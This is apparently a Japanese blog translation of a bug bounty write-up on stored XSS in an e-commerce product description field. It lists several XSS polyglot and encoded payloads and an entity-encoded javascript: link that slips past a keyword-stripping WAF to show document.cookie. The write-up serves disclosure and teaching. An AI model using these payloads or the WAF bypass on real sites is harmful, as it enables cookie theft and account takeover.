Shikata Ga Nai

Private? There is no such things.

Stored XSS on Product Description [HIGH] — $400を訳してみた

Hello there, ('ω')ノ

 

製品説明に保存されたXSSを。

 

脆弱性:

 保存されたXSS

 

記事:

 https://emanuel-beni.medium.com/stored-xss-on-product-description-high-400-2f078fd70fd2


保存されたクロスサイトスクリプティングは。

アプリケーションがユーザからの信頼できない悪意のあるコードを保存する脆弱性で。

攻撃の複雑さが低くて、致命的であるという組み合わせで。

 

ほとんどのeコマースWebサイトでは。

売り手が商品ページに独自の商品説明を追加できて。

これはStoredXSSの攻撃ベクトルの1つであるため。

簡単なテスト用に下記のXSSペイロードを入力することに。

 

1.Polyglot Payload

 “ onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//

 

2.Polyglot Payload

 ‘“>><marquee><img src=x onerror=confirm(1)></marquee>”></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>’ →”></script><script>alert(1)</script>”><img/id=”confirm&lpar;1)”/alt=”/”src=”/”onerror=eval(id&%23x29;>’”><img src=”http://i.imgur.com/P8mL8.jpg">


3.URL Encoded

 %7d%29%3b%7d%29%3balert%60xss%60;%3c%2f%73%63%72%69%70%74%3e

 ⇩

 });});alert`xss`;</script>

 

4.HTML Injection Check

 ‘“><a href=’www.anything.com’>Click Here</a>

 

基本的に利用可能なすべてのペイロードを使用して確認することはしなくて。

通常は、上記のXSSペイロードで反射の可能性をチェックしていて。

 

ペイロードを入力した後、最初にHTMLインジェクション。

つまり、実行されたHTMLタグをチェックして。

WebアプリケーションがHTMLタグを実行する場合は。

XSSに利用できる可能性が高くなるものの。

残念ながら、スクリプトタグが実行されず。

 

その結果、下記の結論に。

Webアプリは、WAF(Webアプリケーションファイアウォール)を実装していて。

WAFは、下記のような機密性の高いキーワードを削除していて。

 「javascript」と「alert


製品の説明では、Markdownを使用してユーザの入力を解析しているようで。

Markdownは、プレーンテキストのテキストドキュメントに。

フォーマット要素を追加するために使用できる軽量のマークアップ言語で。

Markdownはユーザに高いカスタマイズ性を提供するため。

設定ミスが頻繁に発生して。

そこで、上記の条件を回避できる可能性のあるペイロードを探すことに。

最も一般的なバイパスの1つがUnicodeエンコーディングを使用することで。

下記のペイロードを入力すると。

 

 <a href=j&#97v&#97script:&#97lert(document.cookie)>ClickMe</a>

 ⇩

 <a href=javascript:alert(document.cookie)>ClickMe</a>

 

 https://www.gadgety.net/shin/trivia/translate.html

 

f:id:ThisIsOne:20210901110700p:plain

 

XSSとHTMLインジェクションが成功して。

Webアプリケーションは、Unicodeをプレーンテキストにデコードして。

アンカータグがクリックされたときにペイロードを実行して。

アンカータグをクリックすると、document.cookieが表示されて。

 

Best regards, (^^ゞ